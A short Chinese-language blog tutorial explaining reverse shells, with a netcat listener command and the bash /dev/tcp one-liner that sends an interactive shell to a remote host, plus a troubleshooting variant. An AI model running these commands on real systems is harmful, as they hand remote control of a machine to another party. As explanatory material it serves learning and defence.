# 什么是反向 shell

我们在客户端 A 通过 ssh 命令连接服务器 B,从而得到服务器 B 的终端命令行,客户端主动发起的这次连接过程我们称为正向 shell

1
ssh test@10.10.10.1 

顾名思义,反向 shell 应该由服务器端 B 主动发起,而客户端 A 被动监听,接收这次连接。

客户端 A (假设 ip 为 1.2.3.4)

1
2
# 打开一个端口,监听连接请求
nc -lvvp 2333

nc(netcat)是 linux 中一个功能强大的网络命令行工具,常用于端口扫描,端口监听。

参数说明:

  • -l 使用监听模式
  • -vv verbose,使用两次会有更多信息
  • -p 本地端口

客户端 A 打开了本地端口 2333,来监听连接请求。因此,我们只需要在服务器端 B 发起一个连接请求,将 B 的 shell 的输入输出发送过来即可完成反向 shell

服务器端 B

1
bash -i >& /dev/tcp/1.2.3.4/2333 0>&1

这样就可以成功将 B 的 shell 命令行发送给 A,实现反向 shell

参考文章: https://www.jianshu.com/p/80d6b5a61372

命令详解:

  • bash 命令行
  • -i 交互模式
  • >& 输出重定向,1 > 可以省略为 >,将标准输出和标准错误输出都重定向到远程。 文件的三种状态,0 标准输入, 1 标准输出, 2 错误输出
  • /dev/tcp/${host}/${port} 建立一个 socket 连接,连接到其他机器
  • 0>&1 标准输入重定向到标准输出,由于标准输出已经定向到了远端机器上,所以输入、输出都将定向到远端机器上,实现了反向 shell

由于 Linux 下一切皆文件,所以可以使用 /dev/tcp 创建一个 socket 套接字,而 /${host}/${port} 则是传入的参数。

# 反向 shell 工具

gsocket.io

# 可能的问题

  • shell 反弹失败

    可能原因 1:

    ubuntu 系统打开的终端默认为 sh ,而 sh 实际指向的是非交互式终端 dash ,需要先切换到 bash

    1
    bach -c "bash -i >& /dev/tcp/ip/port 0>&1"
    • -c 执行 command string
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

chaihj15 微信支付

微信支付

chaihj15 支付宝

支付宝